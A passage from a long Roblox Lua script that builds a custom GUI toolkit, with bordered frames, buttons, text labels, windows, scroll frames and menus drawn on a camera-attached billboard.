  4208.                                 object.m_base_instance.BackgroundTransparency = transparency
  4209.                             else
  4210.                                 object.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
  4211.                                 object.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
  4212.                             end
  4213.                         end
  4214.                     end
  4215.                 else
  4216.                     if object.mouseOver then
  4217.                         object.mouseOver = false
  4218.                         object.MouseLeave:fire()
  4219.                         if object.autoButtonColor then
  4220.                             object.m_base_instance.BackgroundColor3 = object.color
  4221.                             object.m_base_instance.BackgroundTransparency = object.backgroundTransparency
  4222.                         end
  4223.                     end
  4224.                 end
  4225.             end
  4226.         end
  4227.     end
  4228. end
  4229. function GuiServiceClass:UpdateView()
  4230.     local billboardGui = self.billboardGui
  4231.     local guiFrame = self.m_base_instance
  4232.     local camera = self.camera
  4233.     local mouse = self.mouse
  4234.     local cameraCFrame = CFrame.new(camera.CoordinateFrame.p, camera.Focus.p) -- camera.CoordinateFrame
  4235.     local viewSizeX, viewSizeY = mouse.ViewSizeX, mouse.ViewSizeY
  4236.     local previousViewSize = self.viewSize
  4237.     if not previousViewSize or ((viewSizeX ~= 0 or viewSizeY ~= 0) and (viewSizeX ~= previousViewSize.X or viewSizeY ~= previousViewSize.Y)) then
  4238.         self.viewSize = {X = viewSizeX, Y = viewSizeY}
  4239.         local viewSizeUDim2 = UDim2.new(0, viewSizeX, 0, viewSizeY)
  4240.         billboardGui.Size = viewSizeUDim2
  4241.         guiFrame.Size = viewSizeUDim2
  4242.         -- FIXME:
  4243.         -- After the 15th of July 2014, there came an offset at the Y thingy out of nowhere so I accomodated for that.
  4244.         billboardGui.SizeOffset = Vector2.new(0.5 / viewSizeX, (0.5 + 10) / viewSizeY)
  4245.     end
  4246.     --billboardGui.SizeOffset = Vector2.new()
  4247.     billboardGui.StudsOffset = (cameraCFrame - cameraCFrame.p):inverse() * cameraCFrame.p - Vector3.new(0, 0, 1)
  4248. end
  4249. GuiService = GuiServiceClass:new {
  4250.     Camera = Camera,
  4251.     Mouse = Mouse
  4252. }
  4253. GuiFrame = setmetatable({}, GuiObject)
  4254. GuiFrame.__index = GuiFrame
  4255. GuiFrame.__default = {__index = {
  4256.     Active = false,
  4257.     BackgroundTransparency = 0.75,
  4258.     BorderSize = 4,
  4259.     BorderTransparency = 0.75,
  4260.     Color = AdvancedGUI.GUI_BASE_COLOR,
  4261.     Position = UDim2.new(0, 0, 0, 0),
  4262.     Size = UDim2.new(0, 52, 0, 52),
  4263.     Visible = true
  4264. }}
  4265. function GuiFrame:Destroy()
  4266.     GuiObject.Destroy(self)
  4267. end
  4268. function GuiFrame:GetContentInstance()
  4269.     return self.m_content_frame
  4270. end
  4271. function GuiFrame:Init(data)
  4272.     GuiObject.Init(self)
  4273.     setmetatable(data, GuiFrame.__default)
  4274.     local leftBorderFrameLeft = RBXInstance.new "Frame" {
  4275.         BackgroundColor3 = Color3.new(0, 0, 0),
  4276.         BorderSizePixel = 0,
  4277.         Size = UDim2.new(0, 1, 1, -1)
  4278.     }
  4279.     local leftBorderFrameCenter = RBXInstance.new "Frame" {
  4280.         BackgroundColor3 = Color3.new(1, 1, 1),
  4281.         BorderSizePixel = 0,
  4282.         Position = UDim2.new(0, 1, 0, 1)
  4283.     }
  4284.     local leftBorderFrameRight = RBXInstance.new "Frame" {
  4285.         BackgroundColor3 = Color3.new(0, 0, 0),
  4286.         BorderSizePixel = 0
  4287.     }
  4288.     local rightBorderFrameRight = RBXInstance.new "Frame" {
  4289.         BackgroundColor3 = Color3.new(0, 0, 0),
  4290.         BorderSizePixel = 0,
  4291.         Position = UDim2.new(1, -1, 0, 1),
  4292.         Size = UDim2.new(0, 1, 1, -1)
  4293.     }
  4294.     local rightBorderFrameCenter = RBXInstance.new "Frame" {
  4295.         BackgroundColor3 = Color3.new(1, 1, 1),
  4296.         BorderSizePixel = 0
  4297.     }
  4298.     local rightBorderFrameLeft = RBXInstance.new "Frame" {
  4299.         BackgroundColor3 = Color3.new(0, 0, 0),
  4300.         BorderSizePixel = 0
  4301.     }
  4302.     local bottomBorderFrameBottom = RBXInstance.new "Frame" {
  4303.         BackgroundColor3 = Color3.new(0, 0, 0),
  4304.         BorderSizePixel = 0,
  4305.         Position = UDim2.new(0, 0, 1, -1),
  4306.         Size = UDim2.new(1, -1, 0, 1)
  4307.     }
  4308.     local bottomBorderFrameCenter = RBXInstance.new "Frame" {
  4309.         BackgroundColor3 = Color3.new(1, 1, 1),
  4310.         BorderSizePixel = 0
  4311.     }
  4312.     local bottomBorderFrameTop = RBXInstance.new "Frame" {
  4313.         BackgroundColor3 = Color3.new(0, 0, 0),
  4314.         BorderSizePixel = 0
  4315.     }
  4316.     local topBorderFrameTop = RBXInstance.new "Frame" {
  4317.         BackgroundColor3 = Color3.new(0, 0, 0),
  4318.         BorderSizePixel = 0,
  4319.         Position = UDim2.new(0, 1, 0, 0),
  4320.         Size = UDim2.new(1, -1, 0, 1)
  4321.     }
  4322.     local topBorderFrameCenter = RBXInstance.new "Frame" {
  4323.         BackgroundColor3 = Color3.new(1, 1, 1),
  4324.         BorderSizePixel = 0
  4325.     }
  4326.     local topBorderFrameBottom = RBXInstance.new "Frame" {
  4327.         BackgroundColor3 = Color3.new(0, 0, 0),
  4328.         BorderSizePixel = 0
  4329.     }
  4330.     local border_frame = RBXInstance.new "Frame" {
  4331.         BackgroundTransparency = 1,
  4332.         Size = UDim2.new(1, 0, 1, 0),
  4333.         leftBorderFrameLeft,
  4334.         leftBorderFrameCenter,
  4335.         leftBorderFrameRight,
  4336.         rightBorderFrameLeft,
  4337.         rightBorderFrameCenter,
  4338.         rightBorderFrameRight,
  4339.         bottomBorderFrameBottom,
  4340.         bottomBorderFrameCenter,
  4341.         bottomBorderFrameTop,
  4342.         topBorderFrameBottom,
  4343.         topBorderFrameCenter,
  4344.         topBorderFrameTop
  4345.     }
  4346.     local contentFrame = RBXInstance.new "Frame" {
  4347.         BackgroundTransparency = 1,
  4348.         BorderSizePixel = 0,
  4349.         ClipsDescendants = true,
  4350.         Size = UDim2.new(1, 0, 1, 0)
  4351.     }
  4352.     local base_frame = RBXInstance.new "Frame" {
  4353.         BorderSizePixel = 0,
  4354.         border_frame,
  4355.         contentFrame
  4356.     }
  4357.     self.m_base_instance = base_frame
  4358.     self.m_content_frame = contentFrame
  4359.     self.m_border_frame = border_frame
  4360.     self.leftBorderFrameLeft = leftBorderFrameLeft
  4361.     self.leftBorderFrameCenter = leftBorderFrameCenter
  4362.     self.leftBorderFrameRight = leftBorderFrameRight
  4363.     self.rightBorderFrameLeft = rightBorderFrameLeft
  4364.     self.rightBorderFrameCenter = rightBorderFrameCenter
  4365.     self.rightBorderFrameRight = rightBorderFrameRight
  4366.     self.bottomBorderFrameBottom = bottomBorderFrameBottom
  4367.     self.bottomBorderFrameCenter = bottomBorderFrameCenter
  4368.     self.bottomBorderFrameTop = bottomBorderFrameTop
  4369.     self.topBorderFrameBottom = topBorderFrameBottom
  4370.     self.topBorderFrameCenter = topBorderFrameCenter
  4371.     self.topBorderFrameTop = topBorderFrameTop
  4372.     self:SetActive(data.Active)
  4373.     self:SetBackgroundTransparency(data.BackgroundTransparency)
  4374.     self:SetBorderSize(data.BorderSize)
  4375.     self:SetBorderTransparency(data.BorderTransparency)
  4376.     self:SetColor(data.Color)
  4377.     self:SetPosition(data.Position)
  4378.     self:SetSize(data.Size)
  4379.     self:SetVisible(data.Visible)
  4380.     self:SetParent(data.Parent)
  4381. end
  4382. function GuiFrame:IsA(className)
  4383.     return className == "GuiFrame" or GuiObject.IsA(self, className)
  4384. end
  4385. function GuiFrame:SetBorderSize(border_size)
  4386.     border_size = math.max(math.floor(border_size + 0.5), 0)
  4387.     if border_size ~= self.m_border_size then
  4388.         self.m_border_size = border_size
  4389.         local border_frame = self.m_border_frame
  4390.         local contentFrame = self.m_content_frame
  4391.         local leftBorderFrameCenter = self.leftBorderFrameCenter
  4392.         local leftBorderFrameRight = self.leftBorderFrameRight
  4393.         local rightBorderFrameCenter = self.rightBorderFrameCenter
  4394.         local rightBorderFrameLeft = self.rightBorderFrameLeft
  4395.         local bottomBorderFrameCenter = self.bottomBorderFrameCenter
  4396.         local bottomBorderFrameTop = self.bottomBorderFrameTop
  4397.         local topBorderFrameCenter = self.topBorderFrameCenter
  4398.         local topBorderFrameBottom = self.topBorderFrameBottom
  4399.         contentFrame.Position = UDim2.new(0, border_size, 0, border_size)
  4400.         contentFrame.Size = UDim2.new(1, -2 * border_size, 1, -2 * border_size)
  4401.         local inner_visible = border_size > 0
  4402.         if self.leftBorderFrameLeft.Visible ~= inner_visible then
  4403.             self.rightBorderFrameRight.Visible = inner_visible
  4404.             self.bottomBorderFrameBottom.Visible = inner_visible
  4405.             self.topBorderFrameTop.Visible = inner_visible
  4406.         end
  4407.         local outer_visible = border_size > 1
  4408.         if leftBorderFrameCenter.Visible ~= outer_visible then
  4409.             leftBorderFrameCenter.Visible = outer_visible
  4410.             leftBorderFrameRight.Visible = outer_visible
  4411.             rightBorderFrameCenter.Visible = outer_visible
  4412.             rightBorderFrameLeft.Visible = outer_visible
  4413.             bottomBorderFrameCenter.Visible = outer_visible
  4414.             bottomBorderFrameTop.Visible = outer_visible
  4415.             topBorderFrameCenter.Visible = outer_visible
  4416.             topBorderFrameBottom.Visible = outer_visible
  4417.         end
  4418.         if outer_visible then
  4419.             leftBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
  4420.             leftBorderFrameRight.Position = UDim2.new(0, border_size - 1, 0, border_size - 1)
  4421.             leftBorderFrameRight.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
  4422.             rightBorderFrameCenter.Position = UDim2.new(1, 1 - border_size, 0, border_size - 1)
  4423.             rightBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
  4424.             rightBorderFrameLeft.Position = UDim2.new(1, -border_size, 0, border_size)
  4425.             rightBorderFrameLeft.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
  4426.             bottomBorderFrameCenter.Position = UDim2.new(0, 1, 1, 1 - border_size)
  4427.             bottomBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
  4428.             bottomBorderFrameTop.Position = UDim2.new(0, border_size - 1, 1, -border_size)
  4429.             bottomBorderFrameTop.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
  4430.             topBorderFrameCenter.Position = UDim2.new(0, border_size - 1, 0, 1)
  4431.             topBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
  4432.             topBorderFrameBottom.Position = UDim2.new(0, border_size, 0, border_size - 1)
  4433.             topBorderFrameBottom.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
  4434.         end
  4435.     end
  4436. end
  4437. function GuiFrame:SetBorderTransparency(borderTransparency)
  4438.     self.borderTransparency = borderTransparency
  4439.     self.leftBorderFrameLeft.BackgroundTransparency = borderTransparency
  4440.     self.leftBorderFrameCenter.BackgroundTransparency = borderTransparency
  4441.     self.leftBorderFrameRight.BackgroundTransparency = borderTransparency
  4442.     self.rightBorderFrameLeft.BackgroundTransparency = borderTransparency
  4443.     self.rightBorderFrameCenter.BackgroundTransparency = borderTransparency
  4444.     self.rightBorderFrameRight.BackgroundTransparency = borderTransparency
  4445.     self.bottomBorderFrameBottom.BackgroundTransparency = borderTransparency
  4446.     self.bottomBorderFrameCenter.BackgroundTransparency = borderTransparency
  4447.     self.bottomBorderFrameTop.BackgroundTransparency = borderTransparency
  4448.     self.topBorderFrameBottom.BackgroundTransparency = borderTransparency
  4449.     self.topBorderFrameCenter.BackgroundTransparency = borderTransparency
  4450.     self.topBorderFrameTop.BackgroundTransparency = borderTransparency
  4451. end
  4452. GuiButton = setmetatable({}, GuiFrame)
  4453. GuiButton.__index = GuiButton
  4454. GuiButton.__default = {__index = {
  4455.     AutoButtonColor = true
  4456. }}
  4457. function GuiButton:Destroy()
  4458.     self.Activated:disconnect()
  4459.     GuiFrame.Destroy(self)
  4460. end
  4461. function GuiButton:Init(data)
  4462.     if data.Active == nil then
  4463.         data.Active = true
  4464.     end
  4465.     GuiFrame.Init(self, data)
  4466.     setmetatable(data, GuiButton.__default)
  4467.     self.Activated = RbxUtility.CreateSignal()
  4468.     self:SetAutoButtonColor(data.AutoButtonColor)
  4469. end
  4470. function GuiButton:IsA(className)
  4471.     return className == "GuiButton" or GuiFrame.IsA(self, className)
  4472. end
  4473. function GuiButton:SetAutoButtonColor(autoButtonColor)
  4474.     if autoButtonColor ~= self.autoButtonColor then
  4475.         self.autoButtonColor = autoButtonColor
  4476.         if autoButtonColor then
  4477.             if self.mouseOver then
  4478.                 local color = self.color
  4479.                 local transparency = self.backgroundTransparency
  4480.                 if self.mouseDown then
  4481.                     self.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
  4482.                     self.m_base_instance.BackgroundTransparency = transparency
  4483.                 else
  4484.                     self.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
  4485.                     self.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.5)
  4486.                 end
  4487.             end
  4488.         else
  4489.             self.m_base_instance.BackgroundColor3 = self.color
  4490.         end
  4491.     end
  4492. end
  4493. GuiTextLabel = setmetatable({}, GuiFrame)
  4494. GuiTextLabel.__index = GuiTextLabel
  4495. GuiTextLabel.__default = {__index = {
  4496.     Font = "ArialBold",
  4497.     FontSize = "Size12",
  4498.     Text = "",
  4499.     TextColor = Color3.new(1, 1, 1),
  4500.     TextStrokeColor = Color3.new(0, 0, 0),
  4501.     TextStrokeTransparency = 0.6,
  4502.     TextWrapped = true
  4503. }}
  4504. function GuiTextLabel:Destroy()
  4505.     GuiFrame.Destroy(self)
  4506. end
  4507. function GuiTextLabel:Init(data)
  4508.     GuiFrame.Init(self, data)
  4509.     setmetatable(data, GuiTextLabel.__default)
  4510.     local base_instance = self.m_base_instance
  4511.     local textLabel = RBXInstance.new "TextLabel" {
  4512.         BackgroundTransparency = 1,
  4513.         Font = data.Font,
  4514.         FontSize = data.FontSize,
  4515.         TextColor3 = data.TextColor3,
  4516.         TextStrokeColor3 = data.TextStrokeColor3,
  4517.         TextStrokeTransparency = data.TextStrokeTransparency,
  4518.         TextWrapped = data.TextWrapped
  4519.     }
  4520.     textLabel.Parent = self:GetContentInstance()
  4521.     self.textLabel = textLabel
  4522.     self:SetText(data.Text)
  4523. end
  4524. function GuiTextLabel:IsA(className)
  4525.     return className == "GuiTextLabel" or GuiFrame.IsA(self, className)
  4526. end
  4527. function GuiTextLabel:SetText(text)
  4528.     if text ~= self.text then
  4529.         self.text = text
  4530.         local text_index = 1
  4531.         local content_instance = self:GetContentInstance()
  4532.         local content_instance_size = content_instance.AbsoluteSize
  4533.         local frame = Instance.new("Frame")
  4534.         frame.BackgroundTransparency = 1
  4535.         local label = Instance.new("TextLabel")
  4536.         label.BackgroundTransparency = 1
  4537.         label.Font = font
  4538.         label.FontSize = fontSize
  4539.         label.Size = UDim2.new(0, content_instance_size.X, 0, 1000)
  4540.         label.Text = ""
  4541.         label.TextColor3 = textColor3
  4542.         label.TextTransparency = 1
  4543.         label.TextWrapped = true
  4544.         label.TextXAlignment = textXAlignment
  4545.         label.TextYAlignment = textYAlignment
  4546.         label.Parent = self.guiFrame
  4547.         local row_length = 0
  4548.         local step_size = 256
  4549.         for step = 1, 8 do
  4550.             step_size = 0.5 * step_size
  4551.             label.Text = string.sub(text, text_index, text_index + row_length - 1)
  4552.         end
  4553.     end
  4554. end
  4555. GuiImageButton = setmetatable({}, GuiButton)
  4556. GuiImageButton.__index = GuiImageButton
  4557. GuiImageButton.__default = {__index = {
  4558.     Image = ""
  4559. }}
  4560. function GuiImageButton:Destroy()
  4561.     GuiButton.Destroy(self)
  4562. end
  4563. function GuiImageButton:Init(data)
  4564.     GuiButton.Init(self, data)
  4565.     setmetatable(data, GuiImageButton.__default)
  4566.     local content_frame = self.m_content_frame
  4567.     local image_label = RBXInstance.new "ImageLabel" {
  4568.         BackgroundTransparency = 1,
  4569.         Size = UDim2.new(1, 0, 1, 0)
  4570.     }
  4571.     image_label.Parent = content_frame
  4572.     self.m_image_label = image_label
  4573.     self:SetImage(data.Image)
  4574. end
  4575. function GuiImageButton:IsA(className)
  4576.     return className == "GuiImageButton" or GuiButton.IsA(self, className)
  4577. end
  4578. function GuiImageButton:SetImage(image)
  4579.     if image ~= self.m_image then
  4580.         self.m_image = image
  4581.         self.m_image_label.Image = image
  4582.     end
  4583. end
  4584. GuiTextButton = setmetatable({}, GuiButton)
  4585. GuiTextButton.__index = GuiTextButton
  4586. GuiTextButton.__default = {__index = {
  4587.     Font = Enum.Font.ArialBold,
  4588.     FontSize = Enum.FontSize.Size11,
  4589.     Text = "Button",
  4590.     TextXAlignment = Enum.TextXAlignment.Center
  4591. }}
  4592. function GuiTextButton:Destroy()
  4593.     GuiButton.Destroy(self)
  4594. end
  4595. function GuiTextButton:GetTextBounds()
  4596.     return self.textLabel.TextBounds
  4597. end
  4598. function GuiTextButton:Init(data)
  4599.     GuiButton.Init(self, data)
  4600.     setmetatable(data, GuiTextButton.__default)
  4601.     local contentFrame = self.m_content_frame
  4602.     local mnemonicLabel = RBXInstance.new "TextLabel" {
  4603.         BackgroundTransparency = 1,
  4604.         Font = "ArialBold",
  4605.         FontSize = "Size36",
  4606.         Size = UDim2.new(1, 0, 0.7, 0),
  4607.         TextColor3 = Color3.new(1, 1, 1),
  4608.         TextStrokeColor3 = Color3.new(0, 0, 0),
  4609.         TextStrokeTransparency = 0.6,
  4610.         TextWrapped = true
  4611.     }
  4612.     local textLabel = RBXInstance.new "TextLabel" {
  4613.         BackgroundTransparency = 1,
  4614.         TextColor3 = Color3.new(1, 1, 1),
  4615.         TextStrokeColor3 = Color3.new(0, 0, 0),
  4616.         TextStrokeTransparency = 0.6,
  4617.         TextWrapped = true
  4618.     }
  4619.     mnemonicLabel.Parent = contentFrame
  4620.     textLabel.Parent = contentFrame
  4621.     self.mnemonicLabel = mnemonicLabel
  4622.     self.textLabel = textLabel
  4623.     self:SetFont(data.Font)
  4624.     self:SetFontSize(data.FontSize)
  4625.     self:SetMnemonic(data.Mnemonic, true)
  4626.     self:SetText(data.Text)
  4627.     self:SetTextXAlignment(data.TextXAlignment)
  4628. end
  4629. function GuiTextButton:IsA(className)
  4630.     return className == "GuiTextButton" or GuiButton.IsA(self, className)
  4631. end
  4632. function GuiTextButton:SetFont(font)
  4633.     if font ~= self.font then
  4634.         self.font = font
  4635.         self.textLabel.Font = font
  4636.     end
  4637. end
  4638. function GuiTextButton:SetFontSize(fontSize)
  4639.     if fontSize ~= self.fontSize then
  4640.         self.fontSize = fontSize
  4641.         self.textLabel.FontSize = fontSize
  4642.     end
  4643. end
  4644. function GuiTextButton:SetMnemonic(mnemonic, forceUpdate)
  4645.     if mnemonic ~= self.mnemonic or forceUpdate then
  4646.         if self.mnemonic then
  4647.             GuiService:SetMnemonic(self.mnemonic, nil)
  4648.         end
  4649.         if mnemonic then
  4650.             GuiService:SetMnemonic(mnemonic, self)
  4651.         end
  4652.         self.mnemonic = mnemonic
  4653.         local mnemonicLabel = self.mnemonicLabel
  4654.         local textLabel = self.textLabel
  4655.         if mnemonic then
  4656.             mnemonicLabel.Text = mnemonic
  4657.             textLabel.Size = UDim2.new(1, 0, 0.9, 0)
  4658.             textLabel.TextYAlignment = "Bottom"
  4659.         else
  4660.             mnemonicLabel.Text = ""
  4661.             textLabel.Size = UDim2.new(1, 0, 1, 0)
  4662.             textLabel.TextYAlignment = "Center"
  4663.         end
  4664.     end
  4665. end
  4666. function GuiTextButton:SetText(text)
  4667.     if text ~= self.text then
  4668.         self.text = text
  4669.         self.textLabel.Text = text
  4670.     end
  4671. end
  4672. function GuiTextButton:SetTextXAlignment(textXAlignment)
  4673.     if textXAlignment ~= self.textXAlignment then
  4674.         self.textXAlignment = textXAlignment
  4675.         self.textLabel.TextXAlignment = textXAlignment
  4676.     end
  4677. end
  4678. GuiWindow = setmetatable({}, GuiObject)
  4679. GuiWindow.__index = GuiWindow
  4680. GuiWindow.__default = {__index = {
  4681.     Active = true,
  4682.     BackgroundTransparency = 0.5,
  4683.     BorderSize = 4,
  4684.     BorderTransparency = 0.5,
  4685.     Position = UDim2.new(0, 0, 0, 0),
  4686.     Size = UDim2.new(0, 360, 0, 240),
  4687.     Title = "Window",
  4688.     TitleBarBackgroundTransparency = 0.5,
  4689.     TitleBarBorderTransparency = 1,
  4690.     Visible = true
  4691. }}
  4692. function GuiWindow:Init(data)
  4693.     GuiObject.Init(self)
  4694.     setmetatable(data, GuiFrame.__default)
  4695.     local title_bar = GuiTextLabel:new {
  4696.         BackgroundTransparency = data.TitleBarBackgroundTransparency,
  4697.         BorderTransparency = data.TitleBarBackgroundTransparency,
  4698.         Text = data.Title
  4699.     }
  4700.     local content_frame = GuiFrame:new {
  4701.         Active = data.Active,
  4702.         BackgroundTransparency = data.BackgroundTransparency,
  4703.         BorderSize = data.BorderSize,
  4704.         BorderTransparency = data.BorderTransparency
  4705.     }
  4706.     local base_frame = RBXInstance.new "Frame" {
  4707.         BackgroundTransparency = 1,
  4708.         BorderSizePixel = 0,
  4709.         Position = data.Position,
  4710.         Size = data.Size,
  4711.         Visible = data.Visible
  4712.     }
  4713.     self.m_base_frame = base_frame
  4714.     self.m_content_frame = content_frame
  4715.     self.m_title_bar = title_bar
  4716. end
  4717. function GuiWindow:IsA(className)
  4718.     return className == "GuiWindow" or GuiObject.IsA(self, className)
  4719. end
  4720. GuiScrollFrame = setmetatable({}, GuiFrame)
  4721. GuiScrollFrame.__index = GuiScrollFrame
  4722. GuiScrollFrame.__default = {__index = {
  4723.     ContentHeight = 0,
  4724.     ScrollBarColor = Color3.new(1, 1, 1)
  4725. }}
  4726. function GuiScrollFrame:Destroy()
  4727.     self.m_scroll_bar:Destroy()
  4728.     GuiFrame.Destroy(self)
  4729. end
  4730. function GuiScrollFrame:GetContentInstance()
  4731.     return self.m_scroll_frame or GuiFrame.GetContentInstance(self)
  4732. end
  4733. function GuiScrollFrame:Init(data)
  4734.     GuiFrame.Init(self, data)
  4735.     setmetatable(data, GuiScrollFrame.__default)
  4736.     local scroll_pane = RBXInstance.new "Frame" {
  4737.         BackgroundColor3 = Color3.new(1, 1, 1),
  4738.         BackgroundTransparency = 0.8,
  4739.         BorderSizePixel = 0,
  4740.         Position = UDim2.new(1, -20, 0, 0),
  4741.         Size = UDim2.new(0, 20, 1, 0),
  4742.         Parent = self.m_content_frame
  4743.     }
  4744.     local scroll_bar = GuiFrame:new {
  4745.         Active = true,
  4746.         BackgroundTransparency = 0.6,
  4747.         BorderTransparency = 0.6,
  4748.         Color = data.ScrollBarColor,
  4749.         Parent = self
  4750.     }
  4751.     local scroll_frame = RBXInstance.new "Frame" {
  4752.         BackgroundTransparency = 1,
  4753.         Parent = self.m_content_frame
  4754.     }
  4755.     self.m_scroll_bar = scroll_bar
  4756.     self.m_scroll_frame = scroll_frame
  4757.     self.m_scroll_pane = scroll_pane
  4758.     self.m_scroll_position = 0
  4759.     self.m_updating_content_height = false
  4760.     self:SetContentHeight(data.ContentHeight)
  4761.     self:UpdateScrollPosition()
  4762.     self.m_scroll_bar.DragBegin:connect(function()
  4763.         self.m_scroll_drag_total = Vector2.new()
  4764.         self.m_scroll_initial_position = self.m_scroll_position
  4765.     end)
  4766.     self.m_scroll_bar.DragMove:connect(function(offset)
  4767.         self.m_scroll_drag_total = self.m_scroll_drag_total + offset
  4768.         local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4769.         if absolute_height ~= 0 then
  4770.             local content_height = math.max(self.m_content_height, absolute_height)
  4771.             local scroll_space = 1 - absolute_height / content_height
  4772.             self:Scroll(self.m_scroll_initial_position + self.m_scroll_drag_total.Y * (content_height / absolute_height - 1) / scroll_space)
  4773.         end
  4774.     end)
  4775. end
  4776. function GuiScrollFrame:IsA(className)
  4777.     return className == "GuiScrollFrame" or GuiFrame.IsA(self, className)
  4778. end
  4779. function GuiScrollFrame:Scroll(position)
  4780.     position = math.min(math.max(position, 0), self.m_content_height - (self:GetAbsoluteSize().Y - 2 * self.m_border_size))
  4781.     if position ~= self.m_scroll_position then
  4782.         self.m_scroll_position = position
  4783.         self:UpdateScrollPosition()
  4784.     end
  4785. end
  4786. function GuiScrollFrame:SetContentHeight(height)
  4787.     if height ~= self.m_content_height then
  4788.         local prev_height = self.m_content_height
  4789.         self.m_content_height = height
  4790.         if not self.m_updating_content_height then
  4791.             self.m_updating_content_height = true
  4792.             coroutine.resume(coroutine.create(function()
  4793.                 local success, message = ypcall(self.SetContentHeightImpl1, self, prev_height)
  4794.                 if not success then
  4795.                     Logger.printf("Severe", "Error in GuiScrollFrame:SetContentHeight(%s): %s", Utility.ToString(height), message)
  4796.                 end
  4797.             end))
  4798.         end
  4799.     end
  4800. end
  4801. function GuiScrollFrame:SetContentHeightImpl1(prev_height)
  4802.     RunService.RenderStepped:wait()
  4803.     self.m_updating_content_height = false
  4804.     local height = self.m_content_height
  4805.     self.m_scroll_frame.Size = UDim2.new(1, -20, 0, height)
  4806.     if prev_height and prev_height ~= 0 then
  4807.         local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4808.         if self.m_scroll_position == prev_height - absolute_height then
  4809.             self.m_scroll_position = height - absolute_height
  4810.         else
  4811.             self.m_scroll_position = height * self.m_scroll_position / prev_height
  4812.         end
  4813.     end
  4814.     self:UpdateScrollPosition()
  4815. end
  4816. function GuiScrollFrame:UpdateScrollPosition()
  4817.     local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4818.     if absolute_height == 0 then
  4819.         absolute_height = self.m_content_height
  4820.     end
  4821.     local scroll_bar = self.m_scroll_bar
  4822.     local scroll_frame = self.m_scroll_frame
  4823.     local scroll_pane = self.m_scroll_pane
  4824.     local content_height = math.max(self.m_content_height, absolute_height)
  4825.     if absolute_height == content_height then
  4826.         scroll_frame.Position = UDim2.new(0, 0, 0, 0)
  4827.         scroll_frame.Size = UDim2.new(1, 0, 1, 0)
  4828.         scroll_bar:SetVisible(false)
  4829.         scroll_pane.Visible = false
  4830.     else
  4831.         local contentScale = content_height / absolute_height
  4832.         local scroll_space = 1 - absolute_height / content_height
  4833.         local scroll_position = self.m_scroll_position
  4834.         scroll_frame.Position = UDim2.new(0, 0, 0, -scroll_position)
  4835.         scroll_bar:SetPosition(UDim2.new(1, -20, scroll_position / (content_height - absolute_height) * scroll_space, 0))
  4836.         scroll_bar:SetSize(UDim2.new(0, 20, absolute_height / content_height, 0))
  4837.         scroll_bar:SetVisible(true)
  4838.         scroll_pane.Visible = true
  4839.     end
  4840. end
  4841. GuiMenu = setmetatable({}, GuiFrame)
  4842. GuiMenu.__index = GuiMenu
  4843. GuiMenu.__default = {__index = {
  4844.     VerticalSpacing = 18
  4845. }}
  4846. function GuiMenu:AddItem(text, onClick, options)
  4847.     local frameSize = self:GetSize()
  4848.     local frameHeight = frameSize.Y.Offset - self.m_border_size * 2
  4849.     local verticalSpacing = self.verticalSpacing
  4850.     local properties = {
  4851.         BackgroundTransparency = 0.75,
  4852.         BorderSize = 0,
  4853.         BorderTransparency = 1,
  4854.         Color = (#self.menuItems % 2 == 1) and Color3.new(0.25, 0.25, 0.25) or Color3.new(0, 0, 0),
  4855.         FontSize = Enum.FontSize.Size12,
  4856.         Position = UDim2.new(0, 0, 0, frameHeight),
  4857.         Size = UDim2.new(1, 0, 0, verticalSpacing),
  4858.         Text = text,
  4859.         Parent = self
  4860.     }
  4861.     if options then
  4862.         for key, value in pairs(options) do
  4863.             properties[key] = value
  4864.         end
  4865.     end
  4866.     local menuItem = GuiTextButton:new(properties)
  4867.     if onClick then
  4868.         menuItem.Activated:connect(function()
  4869.             if not onClick(text, self) then
  4870.                 self:Destroy()
  4871.             end
  4872.         end)
  4873.     end
  4874.     self.menuItems[#self.menuItems + 1] = menuItem
  4875.     self:SetSize(frameSize + UDim2.new(0, 0, 0, verticalSpacing))
  4876. end
  4877. function GuiMenu:ClearItems()
  4878.     local menuItems = self.menuItems
  4879.     for _, item in ipairs(menuItems) do
  4880.         menuItems[item] = nil
  4881.         item:Destroy()
  4882.     end
  4883.     local frameSize = self:GetSize()
  4884.     self:SetSize(frameSize + UDim2.new(0, 0, 0, self.m_border_size * 2 - frameSize.Y.Offset))
  4885. end
  4886. function GuiMenu:Destroy()
  4887.     self:ClearItems()
  4888.     GuiFrame.Destroy(self)
  4889. end
  4890. function GuiMenu:Init(data)
  4891.     GuiFrame.Init(self, data)
  4892.     setmetatable(data, GuiMenu.__default)
  4893.     self.menuItems = {}
  4894.     self.verticalSpacing = data.VerticalSpacing
  4895. end
  4896. function GuiMenu:IsA(className)
  4897.     return className == "GuiMenu" or GuiFrame.IsA(self, className)
  4898. end
  4899. GuiTextList = setmetatable({}, GuiScrollFrame)
  4900. GuiTextList.__index = GuiTextList
  4901. GuiTextList.__default = {__index = {
  4902. }}
  4903. function GuiTextList:AddItem(text, options)
  4904.     local properties = {
  4905.         BackgroundTransparency = 1,
  4906.         Font = "ArialBold",
  4907.         FontSize = "Size12",
  4908.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  4909.         Size = UDim2.new(1, -8, 0, 12),
  4910.         Text = tostring(text),
  4911.         TextColor3 = Color3.new(1, 1, 1),
  4912.         TextStrokeTransparency = 0.6,
  4913.         TextWrapped = true,
  4914.         TextXAlignment = "Left",
